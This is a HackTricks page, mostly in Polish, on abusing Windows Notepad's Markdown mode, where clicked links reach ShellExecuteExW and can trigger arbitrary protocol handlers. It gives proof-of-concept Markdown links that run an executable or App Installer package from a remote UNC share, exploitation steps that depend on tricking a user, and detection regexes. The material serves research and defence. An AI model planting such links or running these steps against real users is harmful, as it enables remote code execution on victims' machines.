Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Nowoczesne aplikacje Windows, które renderują Markdown/HTML, często zamieniają podawane przez użytkownika linki w elementy klikalne i przekazują je do ShellExecuteExW. Bez ścisłego allowlistingu schematów, dowolny zarejestrowany handler protokołu (np. file:, ms-appinstaller:) może zostać wywołany, prowadząc do wykonania kodu w kontekście bieżącego użytkownika.
ShellExecuteExW surface in Windows Notepad Markdown mode
- Notepad wybiera tryb Markdown tylko dla rozszerzeń
.mdza pomocą stałego porównania łańcuchów wsub_1400ED5D0(). - Obsługiwane linki Markdown:
- Standardowy:
[text](target) - Autolink:
<target>(renderowany jako[target](target)), więc obie składnie mają znaczenie dla payloads i detekcji. - Kliknięcia linków są przetwarzane w
sub_140170F60(), która wykonuje słabe filtrowanie, a następnie wywołujeShellExecuteExW. ShellExecuteExWprzekazuje obsługę do dowolnego skonfigurowanego handlera protokołu, nie tylko HTTP(S).
Payload considerations
- Wszystkie sekwencje
\\w linku są normalizowane do\przedShellExecuteExW, co wpływa na tworzenie UNC/ścieżek i detekcję. - Pliki
.mdnie są domyślnie skojarzone z Notepad; ofiara nadal musi otworzyć plik w Notepad i kliknąć link, ale po wyrenderowaniu link jest klikalny. - Przykładowe niebezpieczne schematy:
file://do uruchomienia lokalnego/UNC payloadu.ms-appinstaller://do uruchomienia przepływów App Installer. Inne lokalnie zarejestrowane schematy również mogą być nadużyte.
Minimalny PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
Przebieg eksploatacji
- Sporządź
.mdplik tak, aby Notepad renderował go jako Markdown. - Osadź link używając niebezpiecznego schematu URI (
file:,ms-appinstaller:, or any installed handler). - Dostarcz plik (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB or similar) i przekonaj użytkownika, aby otworzył go w Notepad.
- Po kliknięciu, znormalizowany link jest przekazywany do
ShellExecuteExWi odpowiadający protocol handler wykonuje odwołaną treść w kontekście użytkownika.
Pomysły na wykrywanie
- Monitoruj transfery plików
.mdprzez porty/protokoły, które zwykle dostarczają dokumenty:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Parsuj linki Markdown (standardowe i autolink) i szukaj niezależnego od wielkości liter
file:lubms-appinstaller:. - Wyrażenia regularne zalecane przez dostawców do wykrywania dostępu do zasobów zdalnych:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- Zachowanie łatki rzekomo umieszcza na białej liście lokalne pliki i HTTP(S); wszystko inne trafiające do
ShellExecuteExWjest podejrzane. Rozszerz wykrywania na inne zainstalowane obsługiwacze protokołów w razie potrzeby, ponieważ powierzchnia ataku różni się między systemami.
References
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


